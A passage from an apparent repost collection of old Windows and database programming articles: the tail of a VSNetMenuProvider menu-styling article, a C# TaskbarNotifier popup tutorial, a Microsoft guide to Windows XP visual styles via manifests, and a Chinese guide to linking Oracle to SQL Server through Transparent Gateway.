One, and only one, VSNetMenuProvider instance is supported per form. I don't know what will happen at runtime if you try to add more than one instance to any particular form; therefore, I do not recommend that you try doing so. As I mention below in the "Work pending" section, VSNetMenuProvider is missing logic to make sure that only one instance exists per form.


If you create menu items at run time, make sure you call the SetImageIndex method of the VSNetMenuProvider member that belongs to the form that will host the newly created menu items, with one call for each. Otherwise, they will not be painted with VS.NET menu styles applied. Furthermore, there's no need for you to programmatically set to True the OwnerDrawn property of the newly created menu items before or after calling SetImageIndex. Also, if no image will be associated with any or all of the newly created menu items, pass in the value of -1 as the second argument. Otherwise, pass in the index value of the image to be displayed.


If you call the shared Hook method of VSNetMenuProvider in order to fully apply VS.NET menu styles to your menus, each and every form that your application displays will have flat menu windows, regardless of whether or not the form in question has a VSNetMenuProvider member.


If you call the shared Hook method of VSNetMenuProvider in order to fully apply VS.NET menu styles to your menus, make sure you call the shared method Unhook before the application ends.


The vbWindowUI assembly that hosts the VSNetMenuProvider type also exposes other control types that try to mimic the VS.NET UI look. You are free to use these controls as well.


Work pending


What follows is a list of tasks that need to be completed. The list is ordered from top to bottom with respect to each task's importance level.



  1. Top level menu items are not highlighted as the mouse hovers over them on OS versions below W2K. I've noticed that the DrawItem event for top level menu items is not raised when the mouse hovers over them. I need some ideas on how to get around this. Once this issue is resolved, VSNetMenuProvider will function identically across all .NET compliant operating systems.
  2. VSNetMenuProvider needs to be implemented as a single instance component at the form level. Currently, more than one VSNetMenuProvider instance can be added to a single form, a fact that should not be the case. One, and only one, instance should be allowed per form. I need some clues as to how to limit the number of VSNetMenuProvider instances to only one per form, with this limit applied at design time, not at runtime. In other words, as soon as the developer tries to drop a VSNetMenuProvider instance onto a form's component tray, a check will take place to make sure that no other instances exist. If the check fails, then the attempt to add the new instance will fail with a message informing the developer that a VSNetMenuProvider instance already exists and, therefore, a new one cannot be added. If the check passes, then the new component instance is added without any errors. I know that this, like all other things, can in fact be done, for I have seen third party components that do this.
  3. Currently, the arrow that is displayed along side parent menu items changes colors from black to white as soon as it is selected, something that does not happen to VS.NET parent menu items. I need some ideas on how to prevent the arrow from changing colors. I tried painting over it; however, it seems that either the area of the arrow is clipped out of the drawing surface or the OS is painting the arrow after I paint the menu item, with the end result being that the arrow still changes colors.
  4. It seems that the MeasureItem event of owner drawn menus is raised only once during the menu's lifetime, right before it is displayed for the very first time. Obviously, this presents a problem if you decide to change the text of a menu item after its MeasureItem event is called and also if the new text length is significantly longer than the text length that was used originally to measure the width of the menu item. I need some help on how to get around this issue without having to create a new menu item each time the old menu item's text needs to be changed.
  5. The component needs more testing on various flavors of .NET compliant operating systems. Experience has told me that just because we both have the same OS installed does not mean that what works on mine will work on yours. Thus far, I have tested the component on W98, W98SE, WNTSP6, W2K, and WXP with and without themes applied. WME and W.NET are pending questions.
  6. The shadow I'm drawing on operating systems that do not do this on my behalf could use some work.
  7. Testing is required for MDI applications. I have not tested the component in MDI applications.
  8. Sometime in the near future, I would to add a Style property to VSNetMenuProvider, the value of which will determine exactly how the menus are painted. This property will likely take the form of an enumeration, with possible values being OfficeXP, Office2003, VSNet, etc...
  9. I have not added any error handling code to the assembly; therefore, it is not ready for production. I will do so as soon as I am 100% certain that the types it exposes work properly on all .NET compliant operating systems.

Please help me complete this work, especially the first 7 tasks. I really don't expect anyone to help me with the last 2 tasks. Furthermore, I'm sure all of you will eventually have items to add to this list.


Acknowledgements


VSNetMenuProvider would never have been possible without the help, usually in the form of code, of the following developers:



  1. Georgi Atanasov (C family): his implementation of FlatMenusForm provided me with the techniques required to flatten the borders of menu windows. I translated and used lots of his Win32 API code. Thank you!!!!!!
  2. Chris Beckett (C family): he gave me the idea for implementing VSNetMenuProvider as an IExtenderProvider component. Thank you!!!!!
  3. Jean-Michel LE FOL (C family): his implementation of CWndMenuXP showed me how to process the WM_NCCALCSIZE and WM_WINDOWPOSCHANGING messages in order to draw shadows around menu windows on operating systems that do not do this automatically. Thank you!!!!!!!
  4. Bruno Podetti (C family): his implementation of CNewMenu showed me how to subclass the "special menu window", one that is never created nor ever destroyed and which is used by various systems other than WXP. Thank you!!!!!!!
  5. Steve Yam (C family): his implementation of ExtImageIndexEditor showed me how to create a custom, developer friendly editor for the ImageIndex property provided by VSNetMenuProvider to objects of type MenuItem. Thank you!!!!!!
  6. Carlos H. Perez (C family): his implementation of VSNetComboBox showed me how easy it is to change the UI look of basic controls, simply by processing the WM_PAINT message. As mentioned above in the "Final VSNetMenuProvider notes" section, the vbWindowsUI assembly that hosts the VSNetMenuProvider type also exposes various other VS.NET style controls, most of which employ this developer's techniques to change the UI look. Thank you!!!!!!!
  7. Andrés Pons (VB): although I was never able to get a hold of the source code of his SmartMenuXP OCX, his writings about it nevertheless guided me in the right direction. However, his main contribution came in the form of inspiration, given the fact that his VB 6 component mimics the OfficeXP style identically (99.99%), down to the very last detail. Had this not been the case, I may have decided to not take the time to implement the not so obvious VS.NET menu style features. Also, of course, the fact that SmartMenuXP was written in VB pushed me even further. Thank you!!!!!!


Contact me


My name is Giancarlo Aguilera, and you can contact me by email. My email addresses are:



  1. giancarlo.aguilera@intercept.net and
  2. giancarloaguilera@hotmail.com.

Giancarlo Aguilera








Click here to view Giancarlo Aguilera's online profile.

源文件:user1/1/upload/20058158759.rar

http://www.codeproject.com/vb/net/vsnetstylemenusvb.asp

Introduction

Since I am learning C#, I thought it would be helpful for me to port my C++ CTaskbarNotifier class (http://www.codeproject.com/dialog/TaskbarNotifier.asp[ ^])


As a result, I coded a MSN Messenger-like skinnable popup, with a close button which looks almost like Microsoft's one (with the associated skin).


The TaskbarNotifier class inherits from System.Windows.Forms.Form and adds a few methods to it.


Features


The MSN messenger like popup supports:



  • A custom transparent bitmap background
  • A skinnable 3-State close button
  • A clickable title text
  • A clickable content text
  • A selection rectangle
  • Custom fonts and colors for the different states of the text (normal/hover)
  • Animation speed parameters

Compatibility


This class is stand alone and doesn't need any particular libraries except .NET default ones. It runs in managed code and hence should be portable.


How to use the class



  • First of all, copy TaskbarNotifier.cs in your project directory.
  • Add on the top of your source code the directive:
    using CustomUIControls;

  • Add a member variable in your class:
    TaskbarNotifier taskbarNotifier;

  • In your constructor add the following lines:
    taskbarNotifier=new TaskbarNotifier();
    taskbarNotifier.SetBackgroundBitmap("skin.bmp",
    Color.FromArgb(255,0,255));
    taskbarNotifier.SetCloseBitmap("close.bmp",
    Color.FromArgb(255,0,255),new Point(127,8));
    taskbarNotifier.TitleRectangle=new Rectangle(40,9,70,25);
    taskbarNotifier.ContentRectangle=new Rectangle(8,41,133,68);
    taskbarNotifier.TitleClick+=new EventHandler(TitleClick);
    taskbarNotifier.ContentClick+=new EventHandler(ContentClick);
    taskbarNotifier.CloseClick+=new EventHandler(CloseClick);

    Details:

    taskbarNotifier.SetBackgroundBitmap("skin.bmp",
    Color.FromArgb(255,0,255));
    taskbarNotifier.SetCloseBitmap("close.bmp",
    Color.FromArgb(255,0,255),new Point(127,8));

    The first line sets the background bitmap skin and transparency color (must be present), and the second line sets the 3-State close button with its transparency color and its location on the window (this line is optional if you don't want a close button).

    taskbarNotifier.TitleRectangle=new Rectangle(40,9,70,25);
    taskbarNotifier.ContentRectangle=new Rectangle(8,41,133,68);

    These two lines allow us to define the rectangles in which will be displayed, the title and content texts.

    taskbarNotifier.TitleClick+=new EventHandler(OnTitleClick);
    taskbarNotifier.ContentClick+=new EventHandler(OnContentClick);
    taskbarNotifier.CloseClick+=new EventHandler(OnCloseClick);

    These 3 lines allow us to intercept events on the popup such as title/content or close button have been clicked


  • Then we are done, we just need to call:

    taskbarNotifier.Show("TitleText","ContentText",500,3000,500);

    This will show the popup animation with the showing/visible/hiding animations time set as 500ms/3000ms/500ms.


You can play with a few properties:



  • Title, content fonts and colors
  • Ability to click or not on the title/content/close button
  • You can disable the focus rect
  • ... (see below for more details)

Class documentation


Methods

void Show(string strTitle, string strContent, int nTimeToShow, 
int nTimeToStay, int nTimeToHide)

Displays the popup for a certain amount of time.


Parameters



  • strTitle: The string which will be shown as the title of the popup
  • strContent: The string which will be shown as the content of the popup
  • nTimeToShow: Duration of the showing animation (in milliseconds)
  • nTimeToStay: Duration of the visible state before collapsing (in milliseconds)
  • nTimeToHide: Duration of the hiding animation (in milliseconds)
void Hide()

Forces the popup to hide.

void SetBackgroundBitmap(string strFilename, Color transparencyColor)

Sets the background bitmap and its transparency color.


Parameters



  • strFilename: Path of the background bitmap on the disk
  • transparencyColor: Color of the bitmap which won't be visible
void SetBackgroundBitmap(Image image, Color transparencyColor)

Sets the background bitmap and its transparency color.


Parameters


  • image: Background bitmap
  • transparencyColor: Color of the bitmap which won't be visible
      void SetCloseBitmap(string strFilename, 
      Color transparencyColor, Point position)

      Sets the 3-State close button bitmap, its transparency color and its coordinates.


      Parameters



      • strFilename: Path of the 3-state close button bitmap on the disk (width must be a multiple of 3)
      • transparencyColor: Color of the bitmap which won't be visible
      • position: Location of the close button on the popup
      void SetCloseBitmap(Image image, Color transparencyColor, Point position)

      Sets the 3-State close button bitmap, its transparency color and its coordinates.


      Parameters



      • image: Image/Bitmap object which represents the 3-state close button bitmap (width must be a multiple of 3)
      • transparencyColor: Color of the bitmap which won't be visible
      • position: Location of the close button on the popup

      Properties

      string TitleText (get/set)
      string ContentText (get/set)
      TaskbarStates TaskbarState (get)
      Color NormalTitleColor (get/set)
      Color HoverTitleColor (get/set)
      Color NormalContentColor (get/set)
      Color HoverContentColor (get/set)
      Font NormalTitleFont (get/set)
      Font HoverTitleFont (get/set)
      Font NormalContentFont (get/set)
      Font HoverContentFont (get/set)
      Rectangle TitleRectangle (get/set) //must be defined before calling show())
      Rectangle ContentRectangle (get/set) //must be defined before calling show())
      bool TitleClickable (get/set) (default = false);
      bool ContentClickable (get/set) (default = true);
      bool CloseClickable (get/set) (default = true);
      bool EnableSelectionRectangle (get/set) (default = true);

      Events

      event EventHandler CloseClick
      event EventHandler TitleClick
      event EventHandler ContentClick

      Technical issues


      The popup is skinned using a region generated dynamically from a bitmap and a transparency color:

      protected Region BitmapToRegion(Bitmap bitmap, Color transparencyColor)
      {
      if (bitmap == null)
      throw new ArgumentNullException("Bitmap", "Bitmap cannot be null!");

      int height = bitmap.Height;
      int width = bitmap.Width;

      GraphicsPath path = new GraphicsPath();

      for (int j=0; j<height; j++ )
      for (int i=0; i<width; i++)
      {
      if (bitmap.GetPixel(i, j) == transparencyColor)
      continue;

      int x0 = i;

      while ((i < width) &&
      (bitmap.GetPixel(i, j) != transparencyColor))
      i++;

      path.AddRectangle(new Rectangle(x0, j, i-x0, 1));
      }

      Region region = new Region(path);
      path.Dispose();
      return region;
      }


      The refresh() of the popup is done using the double buffering technique to avoid flickering:

      protected override void OnPaintBackground(PaintEventArgs pea)
      {
      Graphics grfx = pea.Graphics;
      grfx.PageUnit = GraphicsUnit.Pixel;

      Graphics offScreenGraphics;
      Bitmap offscreenBitmap;

      offscreenBitmap = new Bitmap(BackgroundBitmap.Width,
      BackgroundBitmap.Height);
      offScreenGraphics = Graphics.FromImage(offscreenBitmap);

      if (BackgroundBitmap != null)
      {
      offScreenGraphics.DrawImage(BackgroundBitmap,
      0, 0, BackgroundBitmap.Width, BackgroundBitmap.Height);
      }

      DrawCloseButton(offScreenGraphics);
      DrawText(offScreenGraphics);

      grfx.DrawImage(offscreenBitmap, 0, 0);
      }


      Bugs/Limitations


      Since I wanted to keep only managed code, I used the Screen.GetWorkingArea(WorkAreaRectangle) function instead of using unmanaged code to get the taskbar position. As a result, I made the popup always appear at the bottom of WorkAreaRectangle whichever position the taskbar has.


      I didn't find any C# managed equivalent to the Win32 function ShowWindow(SW_SHOWNOACTIVATE) to make the popup, not steal the focus of the active window.


      Updates



      • 01 April 2003: Small bug fix in the OnMouseUp handler.
      • 11 January 2003: Patrick Vanden Driessche updated both the C# and VB.NET versions:

        • The popup now doesn't close automatically when the mouse is still over it
        • The popup is shown again when it was disappearing and the mouse comes over it
        • A few other bugs have been corrected.

      • 10 January 2003: A port of TaskbarNotifier has been done by Patrick Vanden Driessche in VB.NET
      • 05 December 2002: The popup is now shown using the Win32 function ShowWindow(SW_SHOWNOACTIVATE), to prevent the popup from stealing the focus.

      Conclusion


      I hope this code will be useful to you. If you have suggestions to enhance this class functionalities, please post a comment.


    • About John O'Byrne







      John O'Byrne lives near Paris and works as software engineer in Brainsoft, a french software company.
      He started win32 programming 4 years ago and MFC a year and a half ago.
      He likes creating Components and designing graphical interfaces.

      Click here to view John O'Byrne's online profile.


      源文件:user1/1/upload/20058155024.zip

      http://www.codeproject.com/cs/miscctrl/taskbarnotifier.asp

      Using Windows XP Visual Styles With Controls on Windows Forms


       

      Seth Grossman
      Visual Studio Team
      Microsoft Corporation


      January 2002


      Summary: Windows XP has introduced a new look and feel to the Windows user interface (UI). Composed of the same controls that ship with Visual Studio .NET, the Windows XP UI features an updated, ultra-modern look. Controls with rounded corners that light up on mouse over and a futuristic ProgressBar control are two of the enhancements Windows XP introduces.


      The question most Visual Studio developers will ask is "How can I get these cool controls in my applications?". All that is required is adding a few references and a resource file to your application. This article covers how to incorporate Windows XP visual styles into your Visual Basic and Visual C# Windows applications and illustrates it by creating a simple application. (8 printed pages)


      Note   The features described in this article only apply to applications running on the Windows XP operating system.

      Contents


      Introduction
      How Does It Know?
      Manifest Is Best
      Adding Visual Styles to Controls
      Brave New World
      Next Steps
      Conclusion


      Introduction


      The controls that appear in Microsoft® Windows® XP have a new, futuristic look.



      Figure 1


      The controls available to developers in Microsoft Visual Studio®, by contrast, do not share this look, even though they are the same controls.



      Figure 2


      This article addresses how to make the Visual Studio controls look like the controls in Windows XP.


      You can think of a form as being composed of two distinct parts: a client area and a non-client area. All applications running on the Windows XP operating system have a non-client area, which includes the window frame, title bar, and non-client scrollbars. The operating system applies a visual style to the non-client area by default, so that even without making the changes described below, you will see an updated title bar and scroll bars on Windows Forms running on Windows XP. This article describes how to make changes to the client area.


      How Does It Know?


      The appearance of the non-client area is specified by the visual style that is currently applied. The visual style is the user-modifiable appearance of the user interface of an application or operating system. As already mentioned, the form's scroll bars and title bar will change immediately when run on Windows XP. Some Windows Forms controls will assume their new guise as soon as the application is bound to version 6.0 of Comctl32.dll.


      The controls that change visual style when bound to Comctl32.dll, version 6.0 are:







































      • TextBox control


      • ListView control


      • RichTextBox control


      • TreeView control


      • HScrollBar control


      • DateTimePicker control


      • VScrollBar control


      • MonthCalendar control


      • ProgressBar control


      • Splitter control


      • TabControl control


      • TrackBar control


      • MainMenu control


      • StatusBar control


      • ContextMenu control


      • ToolBar control


      • ComboBox control


      • TreeView control


      • DataGrid control


      • ListView control


      • ListBox control
       

      Other controls need more encouragement. Specifically, the controls that derive from the System.Windows.Forms.ButtonBase class (the Button, RadioButton, GroupBox and CheckBox controls) have a property, FlatStyle, that indicates how the controls should be drawn. This property is set using the FlatStyle enumeration, which allows controls to be drawn in the following ways:



















      Enumeration Member Description
      Flat The control appears flat.
      Popup A control appears flat until the mouse pointer moves over it, at which point it appears three-dimensional.
      Standard The control appears three-dimensional.
      System The appearance of the control is determined by the user's operating system.

      As you can see above, when the FlatStyle property is set to System, the appearance of the control is determined by the user's operating system. This setting makes controls that have this property paint themselves in the manner of Windows XP.


      Controls that change visual style when the FlatStyle property is set to System



      • Button control
      • RadioButton control
      • CheckBox control
      • GroupBox control

      Finally, there are some Windows Forms controls that will look the same both in Windows XP and in Visual Studio.


      Controls whose visual style does not change


      • Label control
      • LinkLabel control
      • DomainUpDown control
      • NumericUpDown control
      • CheckedListBox control

      Manifest Is Best


      If you want your application to use visual styles, you must add an application manifest (a file used during the build process to specify a certain resource) that indicates that Comctl32.dll version 6 should be used if it is available. Version 6 includes some new controls and new options for other controls, but the biggest difference is support for changing the appearance of controls in a window.


      Unlike earlier versions of Comctl32.dll, version 6 is not redistributable. The only way you can use version 6 of the dynamic-link library (DLL) is to use an operating system that contains it. Windows XP ships with both version 5 and version 6. By default, applications use the common controls defined in Comctl32.dll version 5 (user controls are defined in User32.dll). Comctl32.dll version 6 contains both the user controls and the common controls. By changing the .dll associated with these controls, you are able to apply Windows XP visual styles to them.


      To be visually compatible with the operating system on users' computers, the Windows application you create below uses a manifest file to explicitly specify that the Windows Forms controls use Comctl32.dll, version 6.0. A manifest file is an XML file that is included in your application as a resource or is otherwise present in a separate file that resides in the executable file's directory.


      Thus, in order to use Windows XP visual styles in your Windows Forms application, you must:


      • Set each control that has a FlatStyle property to FlatStyle.System.
      • Create a manifest file to bind your application to Comctl32.dll, version 6.0. The sample manifest file below can be used to bind any application created with Visual Studio .NET to Comctl32.dll.
      • Add this resource (the manifest) to your executable file and rebuild it.

      Adding Visual Styles to Controls


      The easiest way to learn to apply Windows XP visual styles is to try an example. The rest of this article describes how to create a simple application and make the controls on the forms of that application pick up the Windows XP visual style that is currently applied to the operating system.


      In the following procedures, you will:


      • Create a Windows Application project and add controls to it.
      • Create the manifest file that binds your application to the DLL that provides visual styles for Windows XP.
      • Move the manifest file to the executable file's directory.
      • Add a resource (the manifest) to the executable file.

      So let's begin. First, create your Windows application project.


      Create the Project


      To create a project and arrange controls on a form


      1. Create a Windows Application project. For more information on creating a Windows application, see Creating a Windows Application Project.
        Note   Be sure to take note of both the name of the project and what directory you save it to, as these will be important later on.

      2. From the Toolbox, drag the following controls to your form and arrange them:

        • Button control
        • RadioButton control
        • ProgressBar control
        • CheckBox control
        • Label control
          Note   A Label control is included on the form, even though its appearance will not change, as a contrast to the controls that will pick up the visual style. Refer to the tables above for a list of controls that change via Comctl32.dll, controls that change when the FlatStyle property is set, and controls that do not change appearance.

      3. Set the Button, RadioButton, and CheckBox control's FlatStyle property to System.
        Tip   To set all three controls at once, click each one while pressing the CTRL key until all are selected. In the Properties window choose System from the drop-down box next to the FlatStyle property.

      4. Double-click the Button control to add a Click event handler.

        The Code Editor opens with the insertion point in the event handler.


      5. Add the following code to set the ProgressBar control's Value property, so that you will be able to see the new progress bar in action at run time.
        ' Visual Basic
        Private Sub Button1_Click(ByVal sender As System.Object, _
        ByVal e As System.EventArgs) Handles Button1.Click
        ProgressBar1.Value = 50
        End Sub

        // C#
        private void button1_Click(object sender, System.EventArgs e)
        {
        progressBar1.Value = 50;
        }


      6. From the Build menu, choose Build to build your solution.
      7. From the File menu, choose Save All to save your work.

      Create the Manifest File


      Next, create an XML file that binds your application to the correct version of Comctl32.dll.


      To create and edit the manifest file


      1. In Solution Explorer, right-click the project. Point to Add, then click New Item.
      2. Perform these actions in the Add New Item dialog box:

        1. In the left-hand pane (Categories), click Local Project Items.
        2. On the right-hand pane (Templates), click Text File.
        3. In the name box, name the file in the following manner: <Executable Name>.exe.manifest. Thus, if your application is called MyXPApp, you would name the XML file MyXPApp.exe.manifest.

      3. Click the Open button to create the XML file and close the dialog box.

        The empty text file you added opens in the Text Editor.


      4. Add the following XML to the text file:
        <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
        <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
        <assemblyIdentity
        version="1.0.0.0"
        processorArchitecture="X86"
        name="Microsoft.Winweb.<Executable Name>"
        type="win32"
        />
        <description>.NET control deployment tool</description>
        <dependency>
        <dependentAssembly>
        <assemblyIdentity
        type="win32"
        name="Microsoft.Windows.Common-Controls"
        version="6.0.0.0"
        processorArchitecture="X86"
        publicKeyToken="6595b64144ccf1df"
        language="*"
        />
        </dependentAssembly>
        </dependency>
        </assembly>

        Tip   If the < and > symbols are replaced with &lt; and &gt; when you paste, remove the pasted text, and then re-paste the schema by right-clicking the design surface and choosing Paste as HTML on the shortcut menu.

      5. In the XML you just pasted, replace <Executable Name> with the actual name of your executable file, just as you did in step 2.
      6. From the Build menu, choose Build to build your solution.
      7. From the File menu, choose Save All to save the XML file.

      Move the Manifest to the Executable File's Directory


      Now, copy the manifest you created from the default location to the directory containing your executable file.


      To move the manifest file


      1. In Windows Explorer, navigate to the directory where the Visual Studio solution is saved. This is the directory you saved it in during Step 1 of the "Create the Project" section.

        In this directory, you should see the manifest file we created in the section above (this is the file we named <Executable Name>.exe.manifest).


      2. Click the manifest to select it and, from the Edit menu, choose Copy.
      3. Now, open the obj directory and then the Debug or Release directory (depending on the build option you set in the development environment). This will be the directory containing your executable file (The executable file's name will be in the form of ProjectName.exe).
      4. From the Edit menu, choose Paste to put the manifest file into this directory.

      Add the Manifest to the Executable File


      Next, open the executable file within Visual Studio to add the manifest as a resource.


      To add the manifest as a resource


      1. In the Visual Studio development environment, on the File menu, point to Open, then click File.
      2. Navigate to the directory containing this Visual Studio solution. This is the directory you saved it in during Step 1 of the "Create the Project" section.
      3. Open the obj directory and then the Debug or Release directory (depending on the build option you set in the development environment).
      4. Locate the executable file (it will be in the form of ProjectName.exe) and double-click it to open it with the Visual Studio environment.
      5. Right-click the executable file in the designer and choose Add Resource.
      6. In the Add Resource dialog box, click the Import button.
      7. Navigate to the manifest file you created, which should be located in the same directory as your solution.
        Note   Be sure that the Files Of Type field in the dialog box is set to All Files (*.*) so that you can see the manifest file in the file picker.

      8. Double-click the manifest file.

        The Custom Resource Type dialog box opens.


      9. In the Resource Type box, type RT_MANIFEST and click OK.
      10. In the Properties window, set the ID property to 1.
      11. From the File menu, choose Save All to save the changes you have made.

      Brave New World


      When you run your application, the controls on your Windows Form appear in the futuristic Windows XP visual style. Click the Button control to see the new look of the ProgressBar control.


      When you deploy your application to computers running versions of Windows other than Windows XP, the manifest should be ignored, because version 6.0 of Comctl32.dll will not be present. Thus, your controls will appear as they normally do when created with Visual Studio .NET.


      Next Steps


      A more robust and reliable solution to the problem we address above would be to check both the version of the operating system and for the presence of an application manifest file in the same directory as the executable file, then dynamically change the FlatStyle property to System. This also allows for deployment via the XCopy command.


      The code below implements logic such as this, with a procedure that iterates through the controls on the form to see if they derive from the ButtonBase class and, if so, to set the FlatStyle property appropriately.

      ' Visual Basic
      Private Sub RecursivelyFormatForWinXP(control As Control)
      Dim x As Integer
      For x = 0 To control.Controls.Count - 1
      ' If the control derives from ButtonBase,
      ' set its FlatStyle property to FlatStyle.System.
      If control.Controls(x).GetType().BaseType Is _
      GetType(ButtonBase) Then
      CType(control.Controls(x), ButtonBase).FlatStyle = _
      FlatStyle.System
      End If

      ' If the control holds other controls, iterate through them also.
      If control.Controls.Count > 0 Then
      RecursivelyFormatForWinXP(control.Controls(x))
      End If
      Next x
      End Sub

      // C#
      private void RecursivelyFormatForWinXP(Control control)
      {
      for(int x = 0; x < control.Controls.Count; x++)
      {
      // If the control derives from ButtonBase,
      // set its FlatStyle property to FlatStyle.System.
      if(control.Controls[x].GetType().BaseType == typeof(ButtonBase))
      {
      ((ButtonBase)control.Controls[x]).FlatStyle = FlatStyle.System;
      }

      // If the control holds other controls, iterate through them also.
      if(control.Controls.Count > 0)
      {
      RecursivelyFormatForWinXP(control.Controls[x]);
      }
      }
      }


      Additionally, you will need to modify the form's Load event handler to see if Windows XP is running and whether the manifest file is present.

      ' Visual Basic
      Private Sub Form1_Load(sender As Object, e As System.EventArgs)
      ' Makes sure Windows XP is running and
      ' a .manifest file exists for the EXE.
      If Environment.OSVersion.Version.Major > 4 And _
      Environment.OSVersion.Version.Minor > 0 And _
      System.IO.File.Exists((Application.ExecutablePath + ".manifest")) Then
      ' Iterate through the controls.
      Dim x As Integer
      For x = 0 To (Me.Controls.Count) - 1
      ' If the control derives from ButtonBase,
      ' set its FlatStyle property to FlatStyle.System.
      If Me.Controls(x).GetType().BaseType Is _
      GetType(ButtonBase) Then
      CType(Me.Controls(x), ButtonBase).FlatStyle = _
      FlatStyle.System
      End If
      RecursivelyFormatForWinXP(Me.Controls(x))
      Next x
      End If
      End Sub

      // C#
      private void Form1_Load(object sender, System.EventArgs e)
      {
      // Makes sure Windows XP is running and
      // a .manifest file exists for the EXE.
      if(Environment.OSVersion.Version.Major > 4
      & Environment.OSVersion.Version.Minor > 0
      & System.IO.File.Exists(Application.ExecutablePath + ".manifest"))
      {
      // Iterate through the controls.
      for(int x = 0; x < this.Controls.Count; x++)
      {
      // If the control derives from ButtonBase,
      // set its FlatStyle property to FlatStyle.System.
      if(this.Controls[x].GetType().BaseType == typeof(ButtonBase))
      {
      ((ButtonBase)this.Controls[x]).FlatStyle = FlatStyle.System;
      }
      RecursivelyFormatForWinXP(this.Controls[x]);
      }
      }
      }


      An additional area to examine is automating the steps described in this article, as they involve a great degree of interaction with Visual Studio. If you are creating multiple applications that use manifest files to set the visual style, you probably want a less cumbersome process than that outlined above. Creating a Visual Studio .NET Add-In to Provide Windows XP Theme Support steps through using Windows Forms to create an add-in for Visual Studio .NET that automatically sets up your code to use manifest files so that your applications have the Windows XP look and feel.


      Conclusion


      In this article, we have demonstrated that:


      1. Controls with Windows XP visual styles have an appearance different from that of standard Windows Forms controls in Visual Studio.
      2. You can manipulate the appearance of most Windows Forms controls to look like those of Windows XP.
      3. For most controls, this process entails binding them to a specific version of Comctl32.dll. For others, you need to set the FlatStyle property. Finally, some do not change at all.
      4. You can write code to check the version of the operating system and for the presence of a .manifest file and then set the appropriate properties dynamically.

      http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dv_vstechart/html/vbtchusingwindowsxpvisualstyleswithcontrolsonwindowsforms.asp

       

      假设我们要在ORACLE里同时能访问SQL Server里默认的pubs和Northwind两个数据库。


      可参考最初写的通过异构服务链接oracle 和sql server 数据库服务器

      1、在安装了ORACLE9i Standard Edition或者ORACLE9i Enterprise Edition的windows机器上(IP:192.168.0.1),
         产品要选了透明网关(Oracle Transparent Gateway)里要访问Microsoft SQL Server数据库.

      $ORACLE9I_HOME\tg4msql\admin下新写initpubs.ora和initnorthwind.ora配置文件
      initpubs.ora内容如下:
      HS_FDS_CONNECT_INFO="SERVER=sqlserver_hostname;DATABASE=pubs"
      HS_DB_NAME=pubs
      HS_FDS_TRACE_LEVEL=OFF
      HS_FDS_RECOVERY_ACCOUNT=RECOVER
      HS_FDS_RECOVERY_PWD=RECOVER

      initnorthwind.ora内容如下:
      HS_FDS_CONNECT_INFO="SERVER=sqlserver_hostname;DATABASE=Northwind"
      HS_DB_NAME=Northwind
      HS_FDS_TRACE_LEVEL=OFF
      HS_FDS_RECOVERY_ACCOUNT=RECOVER
      HS_FDS_RECOVERY_PWD=RECOVER

      (蓝色字的部分可以根据具体要访问的SQL Server数据库的情况而修改)

      $ORACLE9I_HOME\network\admin 下listener.ora内容如下:

      LISTENER =
        (DESCRIPTION_LIST =
          (DESCRIPTION =
            (ADDRESS_LIST =
              (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.1)(PORT = 1521))
            )
          )
        )

      SID_LIST_LISTENER =
        (SID_LIST =
          (SID_DESC =
            (GLOBAL_DBNAME = test9)
            (ORACLE_HOME = d:\oracle\ora92)
            (SID_NAME = test9)
          )
          (SID_DESC=
            (SID_NAME=pubs)
            (ORACLE_HOME=d:\Oracle\Ora92)
            (PROGRAM=tg4msql)
          )
          (SID_DESC=
            (SID_NAME=northwind)
            (ORACLE_HOME=d:\Oracle\Ora92)
            (PROGRAM=tg4msql)
          )
        )

      重启动这台做gateway的windows机器上(IP:192.168.0.1)TNSListener服务.

      (凡是按此步骤新增可访问的SQL Server数据库时,TNSListener服务都要重启动)

      2、ORACLE8I,ORACLE9I的服务器端配置tnsnames.ora, 添加下面的内容:

      pubs =
        (DESCRIPTION =
        (ADDRESS_LIST =
            (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.2)(PORT = 1521))
          )
          (CONNECT_DATA =
            (SID = pubs)
          )
          (HS = pubs)
         )
        
      northwind =
        (DESCRIPTION =
        (ADDRESS_LIST =
            (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.2)(PORT = 1521))
          )
          (CONNECT_DATA =
            (SID = northwind)
          )
          (HS = northwind)
         )  
        
         保存tnsnames.ora后,在命令行下
        
         tnsping pubs
         tnsping northwind
        
      出现类似提示,即为成功
      Attempting to contact (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.2)
      (PORT = 1521))) (CONNECT_DATA = (SID = pubs)) (HS = pubs))
      OK(20毫秒)
        
         Attempting to contact (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.2)
      (PORT = 1521))) (CONNECT_DATA = (SID = northwind)) (HS = northwind))
      OK(20毫秒)

      设置数据库参数global_names=false。

      设置global_names=false不要求建立的数据库链接和目的数据库的全局名称一致。
      global_names=true则要求, 多少有些不方便。

      oracle9i和oracle8i都可以在DBA用户下用SQL命令改变global_names参数

      alter system set global_names=false;

      建立公有的数据库链接:

      create public database link pubs connect to testuser identified by testuser_pwd using 'pubs';

      create public database link northwind connect to testuser identified by testuser_pwd using 'northwind';

      (假设SQL Server下pubs和northwind已有足够权限的用户登录testuser,密码为testuser_pwd)

      访问SQL Server下数据库里的数据:

      select * from stores@pubs;
      ...... ......

      select * from region@northwind;
      ......  ......


      使用sql *plus copy命令从本地数据库复制暑假到MS SQL SERVER中:


      copy from scott/tiger@myoracle  insert   EMP@pubs  using  select * from EMP

      3、使用时的注意事项

      ORACLE通过访问SQL Server的数据库链接时,用select * 的时候字段名是用双引号引起来的。

      例如:
      create table stores as select * from stores@pubs;

      select zip from stores;

      ERROR 位于第 1 行:
      ORA-00904: 无效列名

      select "zip" from stores;

      zip
      -----
      98056
      92789
      96745
      98014
      90019
      89076

      已选择6行。

      用SQL Navigator或Toad看从SQL Server转移到ORACLE里的表的建表语句为:

      CREATE TABLE stores
          ("stor_id"                      CHAR(4) NOT NULL,
          "stor_name"                    VARCHAR2(40),
          "stor_address"                 VARCHAR2(40),
          "city"                         VARCHAR2(20),
          "state"                        CHAR(2),
          "zip"                          CHAR(5))
        PCTFREE     10
        PCTUSED     40
